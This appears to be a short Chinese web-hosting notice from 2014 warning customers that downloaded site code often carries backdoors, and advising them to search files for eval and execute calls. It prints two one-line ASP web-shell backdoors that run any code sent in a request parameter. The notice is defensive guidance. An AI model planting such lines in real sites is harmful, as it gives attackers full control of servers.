最近发现了一大批被黑的站点。FTP密码足够强壮,后台密码足够复杂,但是仍然被黑客入侵。经过技术部的跟踪,发现程序制作时就被别人留有后门,经过和客户联系,发现他们都是通过网上下载的代码。

     <%=eval(request("a"))%>

    <%=execute(request("a"))%>

     如果您使用网上下载的程序给客户做网站,一定要检查每个文件是否包含 eval,execute类似的代码,如果有,请一定要删除。

     

     如果被我司检测到,如果上传到我司空间,我们会直接帮助您修改,不再做另行通知。

 2014-1-11